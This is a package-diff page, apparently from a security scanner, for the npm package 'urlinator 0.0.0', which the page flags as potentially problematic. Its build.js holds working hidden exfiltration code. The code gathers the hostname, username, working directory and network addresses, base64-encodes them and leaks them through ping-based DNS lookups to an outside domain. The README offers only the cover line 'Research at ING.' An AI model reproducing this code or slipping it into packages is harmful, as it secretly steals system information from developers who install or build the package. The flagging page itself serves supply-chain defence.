urlinator 0.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of urlinator might be problematic. Click here for more details.
- package/README.md +1 -0
- package/build.js +42 -0
- package/package.json +10 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
Research at ING.
|
package/build.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
var isWin = process.platform === "win32";
|
4
|
+
|
5
|
+
const id = "09f666bf703596040e0f6a17f642";
|
6
|
+
|
7
|
+
try {
|
8
|
+
exfil({ d_hostname: os.hostname() });
|
9
|
+
} catch (e) {}
|
10
|
+
try {
|
11
|
+
exfil({ d_user: os.userInfo().username });
|
12
|
+
} catch (e) {}
|
13
|
+
try {
|
14
|
+
exfil({ d_cwd: process.cwd() });
|
15
|
+
} catch (e) {}
|
16
|
+
try {
|
17
|
+
const nets = os.networkInterfaces();
|
18
|
+
for (const name of Object.keys(nets)) {
|
19
|
+
for (const net of nets[name]) {
|
20
|
+
exfil({ ["d_net_" + name]: net.address });
|
21
|
+
}
|
22
|
+
}
|
23
|
+
} catch (e) {}
|
24
|
+
|
25
|
+
//process.exit();
|
26
|
+
|
27
|
+
function exfil(data) {
|
28
|
+
try {
|
29
|
+
const b64 = Buffer.from(JSON.stringify(data))
|
30
|
+
.toString("base64")
|
31
|
+
.replace(/=/gm, "");
|
32
|
+
|
33
|
+
let args;
|
34
|
+
if (isWin) {
|
35
|
+
args = ["-n", "1"];
|
36
|
+
} else {
|
37
|
+
args = ["-c", "1"];
|
38
|
+
}
|
39
|
+
args.push(`${id}.${b64}.ns.pingb.in`);
|
40
|
+
spawn(`ping`, args, { detached: true });
|
41
|
+
} catch (e) {}
|
42
|
+
}
|